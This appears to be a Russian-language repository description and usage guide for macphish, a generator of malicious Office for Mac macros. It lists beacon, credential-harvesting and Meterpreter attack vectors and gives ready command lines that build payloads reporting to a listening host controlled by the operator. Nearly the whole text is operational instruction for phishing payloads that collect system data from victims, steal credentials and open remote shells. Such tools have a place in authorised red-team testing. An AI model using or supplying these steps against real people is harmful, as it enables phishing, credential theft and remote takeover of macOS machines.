cldrn/macphishГенерирует вредоносные макросы Office для Mac с полезными нагрузками beacon, credential harvesting и meterpreter для фишинга и тестирования эксплойтов на macOS.
Генератор полезной нагрузки макросов для Office на Mac
Доступны 4 вектора атак:
Для метода 'creds' macphish может генерировать скрипт Applescript напрямую, если вам нужно запустить его из оболочки.
При выполнении эта полезная нагрузка отправит сигнал нашему прослушивающему хосту и предоставит базовую информацию о системе жертвы. Самый простой способ создать полезную нагрузку beacon:
$./macphish.py -lh <listening host>
По умолчанию используется curl, но другие утилиты (wget, nslookup) можно использовать, изменив шаблон команды.
$./macphish.py -lh <listening host> -lp <listening port> -a creds
Самый простой способ создания полезной нагрузки meterpreter:
$./macphish.py -lh <listening host> -lp <listening port> -p <payload> -a meterpreter
Создает полезную нагрузку meterpreter, которая сначала вызывает GrantAccessToMultipleFiles():
$./macphish.py -lh <listening host> -lp <listening port> -p <payload> -a meterpreter-grant
Для атак через meterpreter на данный момент поддерживаются только полезные нагрузки на Python.
См. https://github.com/cldrn/macphish/wiki/Usage